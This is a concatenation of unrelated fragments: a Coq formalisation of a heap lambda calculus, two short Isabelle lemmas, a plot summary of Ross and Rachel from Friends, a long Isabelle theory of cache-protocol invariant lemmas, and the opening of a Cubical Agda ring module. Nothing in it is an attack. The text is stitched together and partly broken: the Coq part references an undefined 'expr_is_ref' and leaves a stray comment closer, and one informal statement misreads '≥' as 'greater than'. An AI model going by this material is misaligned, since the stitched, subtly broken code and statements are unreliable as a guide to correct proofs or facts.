LitV LitPoison, InjLV (LitV LitPoison), InjRV (LitV LitPoison),
LitV (LitBool _), InjLV (LitV (LitBool _)), InjRV (LitV (LitBool _)).
7: Value is boxed, i.e., payload is a pointer to some read-only memory area on
the heap which stores whether this is a RecV, PairV, InjLV or InjRV and the
relevant data for those cases. However, the boxed representation is never
used if any of the above representations could be used.
Ignoring (as usual) the fact that we have to fit the infinite Z/loc into 61
bits, this means every value is machine-word-sized and can hence be atomically
read and written. Also notice that the sets of boxed and unboxed values are
disjoint. *)
Definition lit_is_unboxed (l: base_lit) : Prop :=
match l with
(** Disallow comparing (erased) prophecies with (erased) prophecies, by
considering them boxed. *)
| LitInt _ | LitBool _ | LitLoc _ | LitUnit => True
end.
Definition val_is_unboxed (v : val) : Prop :=
match v with
| LitV l => lit_is_unboxed l
| _ => False
end.
Definition expr_ref (e : expr) : Prop :=
match e with
| Ref _ => True
| _ => False
end.
Global Instance lit_is_unboxed_dec l : Decision (lit_is_unboxed l).
Proof.
destruct l;
simpl;
exact (decide _).
Defined.
Global Instance val_is_unboxed_dec v : Decision (val_is_unboxed v).
Proof.
destruct v;
simpl;
exact (decide _).
Defined.
Global Instance expr_ref_dec v : Decision (expr_is_ref v).
Proof.
destruct v;
simpl;
exact (decide _).
Defined.
(** We just compare the word-sized representation of two values, without looking
into boxed data. This works out fine if at least one of the to-be-compared
values is unboxed (exploiting the fact that an unboxed and a boxed value can
never be equal because these are disjoint sets). *)
Definition vals_compare_safe (vl v1 : val) : Prop :=
val_is_unboxed vl ∨ val_is_unboxed v1.
Global Arguments vals_compare_safe !_ !_ /.
(** The state: heaps of [option val]s, with [None] representing deallocated locations. *)
Record state : Type := {
heap: gmap loc (option val);
used_proph_id: gset proph_id;
}.
(** Equality and other typeclass stuff *)
Lemma to_of_val v : to_val (of_val v) = Some v.
Proof.
by destruct v.
Qed.
Lemma of_to_val e v : to_val e = Some v → of_val v = e.
Proof.
destruct e=>//=.
by intros [= <-].
Qed.
Global Instance of_val_inj : Inj (=) (=) of_val.
Proof.
intros ??.
congruence.
Qed.
Global Instance base_lit_eq_dec : EqDecision base_lit.
Proof. solve_decision. Defined.
Global Instance un_op_eq_dec : EqDecision un_op.
Proof. solve_decision. Defined.
Global Instance bin_op_eq_dec : EqDecision bin_op.
Proof. solve_decision. Defined.
Global Instance expr_eq_dec : EqDecision expr.
Proof.
refine (
fix go (e1 e2 : expr) {struct e1} : Decision (e1 = e2) :=
match e1, e2 with
| Val v, Val v' => cast_if (decide (v = v'))
| Var x, Var x' => cast_if (decide (x = x'))
| Rec f x e, Rec f' x' e' => cast_if_and3 (decide (f = f')) (decide (x = x')) (decide (e = e'))
| App e1 e2, App e1' e2' => cast_if_and (decide (e1 = e1')) (decide (e2 = e2'))
| UnOp o e, UnOp o' e' => cast_if_and (decide (o = o')) (decide (e = e'))
| BinOp o e1 e2, BinOp o' e1' e2' => cast_if_and3 (decide (o = o')) (decide (e1 = e1')) (decide (e2 = e2'))
| If e0 e1 e2, If e0' e1' e2' => cast_if_and3 (decide (e0 = e0')) (decide (e1 = e1')) (decide (e2 = e2'))
| Pair r e1 e2, Pair r' e1' e2' => cast_if_and3 (decide (r = r')) (decide (e1 = e1')) (decide (e2 = e2'))
| Fst e, Fst e' => cast_if (decide (e = e'))
| Snd e, Snd e' => cast_if (decide (e = e'))
| AllocN e1 e2, AllocN e1' e2' => cast_if_and (decide (e1 = e1')) (decide (e2 = e2'))
| Free e, Free e' => cast_if (decide (e = e'))
| Load e, Load e' => cast_if (decide (e = e'))
| Store e1 e2, Store e1' e2' => cast_if_and (decide (e1 = e1')) (decide (e2 = e2'))
| Ref e, Ref e' => cast_if (decide (e = e'))
| _, _ => right _
end
with gov (v1 v2 : val) {struct v1} : Decision (v1 = v2) :=
match v1, v2 with
| LitV l, LitV l' => cast_if (decide (l = l'))
| RecV f x e, RecV f' x' e' => cast_if_and3 (decide (f = f')) (decide (x = x')) (decide (e = e'))
| PairV r e1 e2, PairV r' e1' e2' => cast_if_and3 (decide (r = r')) (decide (e1 = e1')) (decide (e2 = e2'))
| _, _ => right _
end
for go); try (clear go gov; abstract intuition congruence).
Defined.
Global Instance val_eq_dec : EqDecision val.
Proof. solve_decision. Defined.
Global Instance state_inhabited : Inhabited state :=
populate {| heap := inhabitant; used_proph_id := inhabitant |}.
Global Instance val_inhabited : Inhabited val := populate (LitV LitUnit).
Global Instance expr_inhabited : Inhabited expr := populate (Val inhabitant).
(** Evaluation contexts *)
(** Note that [ResolveLCtx] is not by itself an evaluation context item: we do
not reduce directly under Resolve's first argument. We only reduce things nested
further down. Once no nested contexts exist any more, the expression must take
exactly one more step to a value, and Resolve then (atomically) also uses that
value for prophecy resolution. *)
Inductive ectx_item :=
| AppLCtx (v2 : val)
| AppRCtx (e1 : expr)
| UnOpCtx (op : un_op)
| BinOpLCtx (op : bin_op) (v2 : val)
| BinOpRCtx (op : bin_op) (e1 : expr)
| IfCtx (e1 e2 : expr)
| PairLCtx (ref : bool) (v2 : val)
| PairRCtx (ref : bool) (e1 : expr)
| FstCtx
| SndCtx
| AllocNLCtx (v2 : val)
| AllocNRCtx (e1 : expr)
| FreeCtx
| LoadCtx
| StoreLCtx (v2 : val)
| StoreRCtx (e1 : expr).
(** Contextual closure will only reduce [e] in [Resolve e (Val _) (Val _)] if
the local context of [e] is non-empty. As a consequence, the first argument of
[Resolve] is not completely evaluated (down to a value) by contextual closure:
no head steps (i.e., surface reductions) are taken. This means that contextual
closure will reduce [Resolve (CmpXchg #l #n (#n + #1)) #p #v] into [Resolve
(CmpXchg #l #n #(n+1)) #p #v], but it cannot context-step any further. *)
Definition fill_item (Ki : ectx_item) (e : expr) : expr :=
match Ki with
| AppLCtx v2 => App e (of_val v2)
| AppRCtx e1 => App e1 e
| UnOpCtx op => UnOp op e
| BinOpLCtx op v2 => BinOp op e (Val v2)
| BinOpRCtx op e1 => BinOp op e1 e
| IfCtx e1 e2 => If e e1 e2
| PairLCtx r v2 => Pair r e (Val v2)
| PairRCtx r e1 => Pair r e1 e
| FstCtx => Fst e
| SndCtx => Snd e
| AllocNLCtx v2 => AllocN e (Val v2)
| AllocNRCtx e1 => AllocN e1 e
| FreeCtx => Free e
| LoadCtx => Load e
| StoreLCtx v2 => Store e (Val v2)
| StoreRCtx e1 => Store e1 e
end.
(** Substitution *)
Fixpoint subst (x : string) (v : val) (e : expr) : expr :=
match e with
| Val _ => e
| Var y => if decide (x = y) then Val v else Var y
| Rec f y e => Rec f y $ if decide (BNamed x ≠ f ∧ BNamed x ≠ y) then subst x v e else e
| App e1 e2 => App (subst x v e1) (subst x v e2)
| UnOp op e => UnOp op (subst x v e)
| BinOp op e1 e2 => BinOp op (subst x v e1) (subst x v e2)
| If e0 e1 e2 => If (subst x v e0) (subst x v e1) (subst x v e2)
| Pair r e1 e2 => Pair r (subst x v e1) (subst x v e2)
| Fst e => Fst (subst x v e)
| Snd e => Snd (subst x v e)
| AllocN e1 e2 => AllocN (subst x v e1) (subst x v e2)
| Free e => Free (subst x v e)
| Load e => Load (subst x v e)
| Store e1 e2 => Store (subst x v e1) (subst x v e2)
| Ref e => Ref (subst x v e)
end.
Definition subst' (mx : binder) (v : val) : expr → expr :=
match mx with BNamed x => subst x v | BAnon => id end.
(** The stepping relation *)
Definition un_op_eval (op : un_op) (v : val) : option val :=
match op, v with
| NegOp, LitV (LitBool b) => Some $ LitV $ LitBool (negb b)
| NegOp, LitV (LitInt n) => Some $ LitV $ LitInt (Z.lnot n)
| MinusUnOp, LitV (LitInt n) => Some $ LitV $ LitInt (- n)
| _, _ => None
end.
Definition bin_op_eval_int (op : bin_op) (n1 n2 : Z) : option base_lit :=
match op with
| PlusOp => Some $ LitInt (n1 + n2)
| AndOp => Some $ LitInt (Z.land n1 n2)
| EqOp => Some $ LitBool (bool_decide (n1 = n2))
| OffsetOp => None (* Pointer arithmetic *)
end%Z.
Definition bin_op_eval_bool (op : bin_op) (b1 b2 : bool) : option base_lit :=
match op with
| PlusOp => None (* Arithmetic *)
| AndOp => Some (LitBool (b1 && b2))
| EqOp => Some (LitBool (bool_decide (b1 = b2)))
| OffsetOp => None (* Pointer arithmetic *)
end.
Definition bin_op_eval_loc (op : bin_op) (l1 : loc) (v2 : base_lit) : option base_lit :=
match op, v2 with
| OffsetOp, LitInt off => Some $ LitLoc (l1 +ₗ off)
| _, _ => None
end.
Definition bin_op_eval (op : bin_op) (v1 v2 : val) : option val :=
if decide (op = EqOp) then
(* Crucially, this compares the same way as [CmpXchg]! *)
if decide (vals_compare_safe v1 v2) then
Some $ LitV $ LitBool $ bool_decide (v1 = v2)
else
None
else
match v1, v2 with
| LitV (LitInt n1), LitV (LitInt n2) => LitV <$> bin_op_eval_int op n1 n2
| LitV (LitBool b1), LitV (LitBool b2) => LitV <$> bin_op_eval_bool op b1 b2
| LitV (LitLoc l1), LitV v2 => LitV <$> bin_op_eval_loc op l1 v2
| _, _ => None
end.
Definition state_upd_heap (f: gmap loc (option val) → gmap loc (option val)) (σ: state) : state :=
{| heap := f σ.(heap); used_proph_id := σ.(used_proph_id) |}.
Global Arguments state_upd_heap _ !_ /.
Definition state_upd_used_proph_id (f: gset proph_id → gset proph_id) (σ: state) : state :=
{| heap := σ.(heap); used_proph_id := f σ.(used_proph_id) |}.
Global Arguments state_upd_used_proph_id _ !_ /.
Fixpoint heap_array (l : loc) (vs : list val) : gmap loc (option val) :=
match vs with
| [] => ∅
| v :: vs' => {[l := Some v]} ∪ heap_array (l +ₗ 1) vs'
end.
Lemma heap_array_singleton l v : heap_array l [v] = {[l := Some v]}.
Proof. by rewrite /heap_array right_id. Qed.
Lemma heap_array_lookup l vs ow k :
heap_array l vs !! k = Some ow ↔
∃ j w, (0 ≤ j)%Z ∧ k = l +ₗ j ∧ ow = Some w ∧ vs !! (Z.to_nat j) = Some w.
Proof.
revert k l; induction vs as [|v' vs IH]=> l' l /=.
{ rewrite lookup_empty. naive_solver lia. }
rewrite -insert_union_singleton_l lookup_insert_Some IH. split.
- intros [[-> ?] | (Hl & j & w & ? & -> & -> & ?)].
{ eexists 0, _. rewrite loc_add_0. naive_solver lia. }
eexists (1 + j)%Z, _. rewrite loc_add_assoc !Z.add_1_l Z2Nat.inj_succ; auto with lia.
- intros (j & w & ? & -> & -> & Hil). destruct (decide (j = 0)); simplify_eq/=.
{ rewrite loc_add_0; eauto. }
right. split.
{ rewrite -{1}(loc_add_0 l). intros ?%(inj (loc_add _)); lia. }
assert (Z.to_nat j = S (Z.to_nat (j - 1))) as Hj.
{ rewrite -Z2Nat.inj_succ; last lia. f_equal; lia. }
rewrite Hj /= in Hil.
eexists (j - 1)%Z, _. rewrite loc_add_assoc Z.add_sub_assoc Z.add_simpl_l.
auto with lia.
Qed.
Lemma heap_array_map_disjoint (h : gmap loc (option val)) (l : loc) (vs : list val) :
(∀ i, (0 ≤ i)%Z → (i < length vs)%Z → h !! (l +ₗ i) = None) →
(heap_array l vs) ##ₘ h.
Proof.
intros Hdisj. apply map_disjoint_spec=> l' v1 v2.
intros (j&w&?&->&?&Hj%lookup_lt_Some%inj_lt)%heap_array_lookup.
move: Hj. rewrite Z2Nat.id // => ?. by rewrite Hdisj.
Qed.
(* [h] is added on the right here to make [state_init_heap_singleton] true. *)
Definition state_init_heap (l : loc) (n : Z) (v : val) (σ : state) : state :=
state_upd_heap (λ h, heap_array l (replicate (Z.to_nat n) v) ∪ h) σ.
Lemma state_init_heap_singleton l v σ :
state_init_heap l 1 v σ = state_upd_heap <[l:=Some v]> σ.
Proof.
destruct σ as [h p]. rewrite /state_init_heap /=. f_equiv.
rewrite right_id insert_union_singleton_l. done.
Qed.
Inductive head_step : expr → state → list observation → expr → state → list expr → Prop :=
| RecS f x e σ :
head_step (Rec f x e) σ [] (Val $ RecV f x e) σ []
| PairS r v1 v2 σ :
head_step (Pair r (Val v1) (Val v2)) σ [] (Val $ PairV r v1 v2) σ []
| BetaS f x e1 v2 e' σ :
e' = subst' x v2 (subst' f (RecV f x e1) e1) →
head_step (App (Val $ RecV f x e1) (Val v2)) σ [] e' σ []
| UnOpS op v v' σ :
un_op_eval op v = Some v' →
head_step (UnOp op (Val v)) σ [] (Val v') σ []
| BinOpS op v1 v2 v' σ :
bin_op_eval op v1 v2 = Some v' →
head_step (BinOp op (Val v1) (Val v2)) σ [] (Val v') σ []
| IfTrueS e1 e2 σ :
head_step (If (Val $ LitV $ LitBool true) e1 e2) σ [] e1 σ []
| IfFalseS e1 e2 σ :
head_step (If (Val $ LitV $ LitBool false) e1 e2) σ [] e2 σ []
| FstS r v1 v2 σ :
head_step (Fst (Val $ PairV r v1 v2)) σ [] (Val v1) σ []
| SndS r v1 v2 σ :
head_step (Snd (Val $ PairV r v1 v2)) σ [] (Val v2) σ []
| AllocNS n v σ l :
(0 < n)%Z →
(∀ i, (0 ≤ i)%Z → (i < n)%Z → σ.(heap) !! (l +ₗ i) = None) →
head_step (AllocN (Val $ LitV $ LitInt n) (Val v)) σ
[]
(Val $ LitV $ LitLoc l) (state_init_heap l n v σ)
[]
| FreeS l v σ :
σ.(heap) !! l = Some $ Some v →
head_step (Free (Val $ LitV $ LitLoc l)) σ
[]
(Val $ LitV LitUnit) (state_upd_heap <[l:=None]> σ)
[]
| LoadS l v σ :
σ.(heap) !! l = Some $ Some v →
head_step (Load (Val $ LitV $ LitLoc l)) σ [] (of_val v) σ []
| StoreS l v w σ :
σ.(heap) !! l = Some $ Some v →
head_step (Store (Val $ LitV $ LitLoc l) (Val w)) σ
[]
(Val $ LitV LitUnit) (state_upd_heap <[l:=Some w]> σ)
[].
(** Basic properties about the language *)
Global Instance fill_item_inj Ki : Inj (=) (=) (fill_item Ki).
Proof.
induction Ki;
intros ???;
simplify_eq/=;
auto with f_equal.
Qed.
Lemma fill_item_val Ki e :
is_Some (to_val (fill_item Ki e)) → is_Some (to_val e).
Proof.
intros [v ?].
induction Ki;
simplify_option_eq;
eauto.
Qed.
Lemma val_head_stuck e1 σ1 κ e2 σ2 efs : head_step e1 σ1 κ e2 σ2 efs → to_val e1 = None.
Proof.
destruct 1;
naive_solver.
Qed.
Lemma head_ctx_step_val Ki e σ1 κ e2 σ2 efs :
head_step (fill_item Ki e) σ1 κ e2 σ2 efs → is_Some (to_val e).
Proof.
revert κ e2.
induction Ki;
inversion_clear 1;
simplify_option_eq;
eauto.
Qed.
Lemma fill_item_no_val_inj Ki1 Ki2 e1 e2 :
to_val e1 = None → to_val e2 = None →
fill_item Ki1 e1 = fill_item Ki2 e2 → Ki1 = Ki2.
Proof.
revert Ki1.
induction Ki2;
intros Ki1;
induction Ki1;
naive_solver eauto with f_equal.
Qed.
Lemma alloc_fresh v n σ :
let l := fresh_locs (dom σ.(heap)) in
(0 < n)%Z →
head_step (AllocN ((Val $ LitV $ LitInt $ n)) (Val v)) σ []
(Val $ LitV $ LitLoc l) (state_init_heap l n v σ) [].
Proof.
intros.
apply AllocNS; first done.
intros. apply not_elem_of_dom.
by apply fresh_locs_fresh.
Qed.
Lemma cs_lambda_mixin : EctxiLanguageMixin of_val to_val fill_item head_step.
Proof.
split; apply _ || eauto using to_of_val, of_to_val, val_head_stuck,
fill_item_val, fill_item_no_val_inj, head_ctx_step_val.
Qed.
End cs_lambda.
(** Language *)
Canonical Structure heap_ectxi_lang := EctxiLanguage cs_lambda.cs_lambda_mixin.
Canonical Structure heap_ectx_lang := EctxLanguageOfEctxi heap_ectxi_lang.
(* Prefer cs_lambda names over ectx_language names. *)
Export cs_lambda.
(** The following lemma is not provable using the axioms of [ectxi_language].
The proof requires a case analysis over context items ([destruct i] on the
last line), which in all cases yields a non-value. To prove this lemma for
[ectxi_language] in general, we would require that a term of the form
[fill_item i e] is never a value. *)
Lemma to_val_fill_some K e v :
to_val (fill K e) = Some v → K = [] ∧ e = Val v.
Proof.
intro H. destruct K as [|Ki K]; first by apply of_to_val in H. exfalso.
assert (to_val e ≠ None) as He.
{ intro A. by rewrite fill_not_val in H. }
assert (∃ w, e = Val w) as [w ->].
{ destruct e; try done; eauto. }
assert (to_val (fill (Ki :: K) (Val w)) = None).
{ destruct Ki; simpl; apply fill_not_val; done. }
by simplify_eq.
Qed.
Lemma prim_step_to_val_is_head_step e σ1 κs w σ2 efs :
prim_step e σ1 κs (Val w) σ2 efs → head_step e σ1 κs (Val w) σ2 efs.
Proof.
intro H. destruct H as [K e1 e2 H1 H2].
assert (to_val (fill K e2) = Some w) as H3; first by rewrite -H2.
apply to_val_fill_some in H3 as [-> ->]. subst e. done.
Qed.
(** If [e1] makes a head step to a value under some state [σ1] then any head
step from [e1] under any other state [σ1'] must necessarily be to a value. *)
Lemma head_step_to_val e1 σ1 κ e2 σ2 efs σ1' κ' e2' σ2' efs' :
head_step e1 σ1 κ e2 σ2 efs →
head_step e1 σ1' κ' e2' σ2' efs' → is_Some (to_val e2) → is_Some (to_val e2').
Proof.
destruct 1;
inversion 1;
naive_solver.
Qed.
*)
|
[STATEMENT]
lemma supp_sum_divide_distrib: "supp_sum f A / (r::'a::field) = supp_sum (\<lambda>n. f n / r) A"
[PROOF STATE]
proof (prove)
goal (1 subgoal):
1. supp_sum f A / r = supp_sum (\<lambda>n. f n / r) A
[PROOF STEP]
by (cases "r = 0")
(auto simp: supp_sum_def sum_divide_distrib intro!: sum.cong support_on_cong) |
In the episodes following the break up , Rachel and Ross are initially hostile towards each other . The exes continue to harbor feelings for each other . During a beach house vacation with their friends , Rachel and Ross briefly reconcile when he ends his relationship with Bonnie ( Christine Taylor ) , only to break up once again due to a disagreement . During season four , Rachel dates her customer Joshua ( Tate Donovan ) , while Ross dates her boss ' niece Emily ( Helen Baxendale ) , to whom he eventually gets engaged . <unk> , Rachel proposes to recent divorcee Joshua , frightening him off . Rachel indirectly contributes to the demise of Ross and Emily 's relationship when he accidentally utters Rachel 's name while exchanging their wedding vows . Ross ultimately divorces a jealous Emily , choosing his friendship with Rachel instead .
|
Formal statement is: lemma disjoint_ballI: "dist x y \<ge> r+s \<Longrightarrow> ball x r \<inter> ball y s = {}" Informal statement is: If the distance between two points $x$ and $y$ is greater than the sum of the radii of two balls centered at $x$ and $y$, then the two balls are disjoint. |
(* Title: HOL/Auth/n_germanSymIndex_lemma_on_inv__20.thy
Author: Yongjian Li and Kaiqiang Duan, State Key Lab of Computer Science, Institute of Software, Chinese Academy of Sciences
Copyright 2016 State Key Lab of Computer Science, Institute of Software, Chinese Academy of Sciences
*)
header{*The n_germanSymIndex Protocol Case Study*}
theory n_germanSymIndex_lemma_on_inv__20 imports n_germanSymIndex_base
begin
section{*All lemmas on causal relation between inv__20 and some rule r*}
lemma n_SendInv__part__0Vsinv__20:
assumes a1: "(\<exists> i. i\<le>N\<and>r=n_SendInv__part__0 i)" and
a2: "(\<exists> p__Inv2. p__Inv2\<le>N\<and>f=inv__20 p__Inv2)"
shows "invHoldForRule s f r (invariants N)" (is "?P1 s \<or> ?P2 s \<or> ?P3 s")
proof -
from a1 obtain i where a1:"i\<le>N\<and>r=n_SendInv__part__0 i" apply fastforce done
from a2 obtain p__Inv2 where a2:"p__Inv2\<le>N\<and>f=inv__20 p__Inv2" apply fastforce done
have "(i=p__Inv2)\<or>(i~=p__Inv2)" apply (cut_tac a1 a2, auto) done
moreover {
assume b1: "(i=p__Inv2)"
have "?P1 s"
proof(cut_tac a1 a2 b1, auto) qed
then have "invHoldForRule s f r (invariants N)" by auto
}
moreover {
assume b1: "(i~=p__Inv2)"
have "?P2 s"
proof(cut_tac a1 a2 b1, auto) qed
then have "invHoldForRule s f r (invariants N)" by auto
}
ultimately show "invHoldForRule s f r (invariants N)" by satx
qed
lemma n_SendInv__part__1Vsinv__20:
assumes a1: "(\<exists> i. i\<le>N\<and>r=n_SendInv__part__1 i)" and
a2: "(\<exists> p__Inv2. p__Inv2\<le>N\<and>f=inv__20 p__Inv2)"
shows "invHoldForRule s f r (invariants N)" (is "?P1 s \<or> ?P2 s \<or> ?P3 s")
proof -
from a1 obtain i where a1:"i\<le>N\<and>r=n_SendInv__part__1 i" apply fastforce done
from a2 obtain p__Inv2 where a2:"p__Inv2\<le>N\<and>f=inv__20 p__Inv2" apply fastforce done
have "(i=p__Inv2)\<or>(i~=p__Inv2)" apply (cut_tac a1 a2, auto) done
moreover {
assume b1: "(i=p__Inv2)"
have "?P1 s"
proof(cut_tac a1 a2 b1, auto) qed
then have "invHoldForRule s f r (invariants N)" by auto
}
moreover {
assume b1: "(i~=p__Inv2)"
have "?P2 s"
proof(cut_tac a1 a2 b1, auto) qed
then have "invHoldForRule s f r (invariants N)" by auto
}
ultimately show "invHoldForRule s f r (invariants N)" by satx
qed
lemma n_SendInvAckVsinv__20:
assumes a1: "(\<exists> i. i\<le>N\<and>r=n_SendInvAck i)" and
a2: "(\<exists> p__Inv2. p__Inv2\<le>N\<and>f=inv__20 p__Inv2)"
shows "invHoldForRule s f r (invariants N)" (is "?P1 s \<or> ?P2 s \<or> ?P3 s")
proof -
from a1 obtain i where a1:"i\<le>N\<and>r=n_SendInvAck i" apply fastforce done
from a2 obtain p__Inv2 where a2:"p__Inv2\<le>N\<and>f=inv__20 p__Inv2" apply fastforce done
have "(i=p__Inv2)\<or>(i~=p__Inv2)" apply (cut_tac a1 a2, auto) done
moreover {
assume b1: "(i=p__Inv2)"
have "?P1 s"
proof(cut_tac a1 a2 b1, auto) qed
then have "invHoldForRule s f r (invariants N)" by auto
}
moreover {
assume b1: "(i~=p__Inv2)"
have "?P2 s"
proof(cut_tac a1 a2 b1, auto) qed
then have "invHoldForRule s f r (invariants N)" by auto
}
ultimately show "invHoldForRule s f r (invariants N)" by satx
qed
lemma n_SendGntSVsinv__20:
assumes a1: "(\<exists> i. i\<le>N\<and>r=n_SendGntS i)" and
a2: "(\<exists> p__Inv2. p__Inv2\<le>N\<and>f=inv__20 p__Inv2)"
shows "invHoldForRule s f r (invariants N)" (is "?P1 s \<or> ?P2 s \<or> ?P3 s")
proof -
from a1 obtain i where a1:"i\<le>N\<and>r=n_SendGntS i" apply fastforce done
from a2 obtain p__Inv2 where a2:"p__Inv2\<le>N\<and>f=inv__20 p__Inv2" apply fastforce done
have "(i=p__Inv2)\<or>(i~=p__Inv2)" apply (cut_tac a1 a2, auto) done
moreover {
assume b1: "(i=p__Inv2)"
have "?P3 s"
apply (cut_tac a1 a2 b1, simp, rule_tac x="(neg (andForm (eqn (IVar (Ident ''ExGntd'')) (Const false)) (eqn (IVar (Field (Para (Ident ''Cache'') p__Inv2) ''State'')) (Const E))))" in exI, auto) done
then have "invHoldForRule s f r (invariants N)" by auto
}
moreover {
assume b1: "(i~=p__Inv2)"
have "?P2 s"
proof(cut_tac a1 a2 b1, auto) qed
then have "invHoldForRule s f r (invariants N)" by auto
}
ultimately show "invHoldForRule s f r (invariants N)" by satx
qed
lemma n_SendGntEVsinv__20:
assumes a1: "(\<exists> i. i\<le>N\<and>r=n_SendGntE N i)" and
a2: "(\<exists> p__Inv2. p__Inv2\<le>N\<and>f=inv__20 p__Inv2)"
shows "invHoldForRule s f r (invariants N)" (is "?P1 s \<or> ?P2 s \<or> ?P3 s")
proof -
from a1 obtain i where a1:"i\<le>N\<and>r=n_SendGntE N i" apply fastforce done
from a2 obtain p__Inv2 where a2:"p__Inv2\<le>N\<and>f=inv__20 p__Inv2" apply fastforce done
have "(i=p__Inv2)\<or>(i~=p__Inv2)" apply (cut_tac a1 a2, auto) done
moreover {
assume b1: "(i=p__Inv2)"
have "?P1 s"
proof(cut_tac a1 a2 b1, auto) qed
then have "invHoldForRule s f r (invariants N)" by auto
}
moreover {
assume b1: "(i~=p__Inv2)"
have "?P2 s"
proof(cut_tac a1 a2 b1, auto) qed
then have "invHoldForRule s f r (invariants N)" by auto
}
ultimately show "invHoldForRule s f r (invariants N)" by satx
qed
lemma n_RecvGntSVsinv__20:
assumes a1: "(\<exists> i. i\<le>N\<and>r=n_RecvGntS i)" and
a2: "(\<exists> p__Inv2. p__Inv2\<le>N\<and>f=inv__20 p__Inv2)"
shows "invHoldForRule s f r (invariants N)" (is "?P1 s \<or> ?P2 s \<or> ?P3 s")
proof -
from a1 obtain i where a1:"i\<le>N\<and>r=n_RecvGntS i" apply fastforce done
from a2 obtain p__Inv2 where a2:"p__Inv2\<le>N\<and>f=inv__20 p__Inv2" apply fastforce done
have "(i=p__Inv2)\<or>(i~=p__Inv2)" apply (cut_tac a1 a2, auto) done
moreover {
assume b1: "(i=p__Inv2)"
have "?P1 s"
proof(cut_tac a1 a2 b1, auto) qed
then have "invHoldForRule s f r (invariants N)" by auto
}
moreover {
assume b1: "(i~=p__Inv2)"
have "?P2 s"
proof(cut_tac a1 a2 b1, auto) qed
then have "invHoldForRule s f r (invariants N)" by auto
}
ultimately show "invHoldForRule s f r (invariants N)" by satx
qed
lemma n_RecvGntEVsinv__20:
assumes a1: "(\<exists> i. i\<le>N\<and>r=n_RecvGntE i)" and
a2: "(\<exists> p__Inv2. p__Inv2\<le>N\<and>f=inv__20 p__Inv2)"
shows "invHoldForRule s f r (invariants N)" (is "?P1 s \<or> ?P2 s \<or> ?P3 s")
proof -
from a1 obtain i where a1:"i\<le>N\<and>r=n_RecvGntE i" apply fastforce done
from a2 obtain p__Inv2 where a2:"p__Inv2\<le>N\<and>f=inv__20 p__Inv2" apply fastforce done
have "(i=p__Inv2)\<or>(i~=p__Inv2)" apply (cut_tac a1 a2, auto) done
moreover {
assume b1: "(i=p__Inv2)"
have "?P1 s"
proof(cut_tac a1 a2 b1, auto) qed
then have "invHoldForRule s f r (invariants N)" by auto
}
moreover {
assume b1: "(i~=p__Inv2)"
have "?P2 s"
proof(cut_tac a1 a2 b1, auto) qed
then have "invHoldForRule s f r (invariants N)" by auto
}
ultimately show "invHoldForRule s f r (invariants N)" by satx
qed
lemma n_SendReqE__part__1Vsinv__20:
assumes a1: "\<exists> i. i\<le>N\<and>r=n_SendReqE__part__1 i" and
a2: "(\<exists> p__Inv2. p__Inv2\<le>N\<and>f=inv__20 p__Inv2)"
shows "invHoldForRule s f r (invariants N)"
apply (rule noEffectOnRule, cut_tac a1 a2, auto) done
lemma n_StoreVsinv__20:
assumes a1: "\<exists> i d. i\<le>N\<and>d\<le>N\<and>r=n_Store i d" and
a2: "(\<exists> p__Inv2. p__Inv2\<le>N\<and>f=inv__20 p__Inv2)"
shows "invHoldForRule s f r (invariants N)"
apply (rule noEffectOnRule, cut_tac a1 a2, auto) done
lemma n_RecvInvAckVsinv__20:
assumes a1: "\<exists> i. i\<le>N\<and>r=n_RecvInvAck i" and
a2: "(\<exists> p__Inv2. p__Inv2\<le>N\<and>f=inv__20 p__Inv2)"
shows "invHoldForRule s f r (invariants N)"
apply (rule noEffectOnRule, cut_tac a1 a2, auto) done
lemma n_RecvReqEVsinv__20:
assumes a1: "\<exists> i. i\<le>N\<and>r=n_RecvReqE N i" and
a2: "(\<exists> p__Inv2. p__Inv2\<le>N\<and>f=inv__20 p__Inv2)"
shows "invHoldForRule s f r (invariants N)"
apply (rule noEffectOnRule, cut_tac a1 a2, auto) done
lemma n_SendReqE__part__0Vsinv__20:
assumes a1: "\<exists> i. i\<le>N\<and>r=n_SendReqE__part__0 i" and
a2: "(\<exists> p__Inv2. p__Inv2\<le>N\<and>f=inv__20 p__Inv2)"
shows "invHoldForRule s f r (invariants N)"
apply (rule noEffectOnRule, cut_tac a1 a2, auto) done
lemma n_SendReqSVsinv__20:
assumes a1: "\<exists> i. i\<le>N\<and>r=n_SendReqS i" and
a2: "(\<exists> p__Inv2. p__Inv2\<le>N\<and>f=inv__20 p__Inv2)"
shows "invHoldForRule s f r (invariants N)"
apply (rule noEffectOnRule, cut_tac a1 a2, auto) done
lemma n_RecvReqSVsinv__20:
assumes a1: "\<exists> i. i\<le>N\<and>r=n_RecvReqS N i" and
a2: "(\<exists> p__Inv2. p__Inv2\<le>N\<and>f=inv__20 p__Inv2)"
shows "invHoldForRule s f r (invariants N)"
apply (rule noEffectOnRule, cut_tac a1 a2, auto) done
end
|
{-# OPTIONS --cubical --no-import-sorts --safe #-}
module Cubical.Structures.Ring where
open import Cubical.Foundations.Prelude
open import Cubical.Foundations.Equiv
open import Cubical.Foundations.Equiv.HalfAdjoint
open import Cubical.Foundations.HLevels
open import Cubical.Foundations.Isomorphism
open import Cubical.Foundations.Univalence
open import Cubical.Foundations.Transport
open import Cubical.Foundations.SIP
open import Cubical.Data.Sigma
open import Cubical.Structures.Axioms
open import Cubical.Structures.Macro
open import Cubical.Structures.Semigroup hiding (⟨_⟩)
open import Cubical.Structures.Monoid hiding (⟨_⟩)
open import Cubical.Structures.AbGroup hiding (⟨_⟩)
open Iso
private
variable
ℓ : Level
record IsRing {R : Type ℓ}
(0r 1r : R) (_+_ _·_ : R → R → R) (-_ : R → R) : Type ℓ where
constructor isring
field
+-isAbGroup : IsAbGroup 0r _+_ -_
·-isMonoid : IsMonoid 1r _·_
dist : (x y z : R) → (x · (y + z) ≡ (x · y) + (x · z))
× ((x + y) · z ≡ (x · z) + (y · z))
-- This is in the Agda stdlib, but it's redundant
-- zero : (x : R) → (x · 0r ≡ 0r) × (0r · x ≡ 0r)
open IsAbGroup +-isAbGroup public
renaming
( assoc to +-assoc
; identity to +-identity
; lid to +-lid
; rid to +-rid
; inverse to +-inv
; invl to +-linv
; invr to +-rinv
; comm to +-comm
; isSemigroup to +-isSemigroup
; isMonoid to +-isMonoid
; isGroup to +-isGroup
)
open IsMonoid ·-isMonoid public
renaming
( assoc to ·-assoc
; identity to ·-identity
; lid to ·-lid
; rid to ·-rid
; isSemigroup to ·-isSemigroup
)
·-rdist-+ : (x y z : R) → x · (y + z) ≡ (x · y) + (x · z)
·-rdist-+ x y z = dist x y z .fst
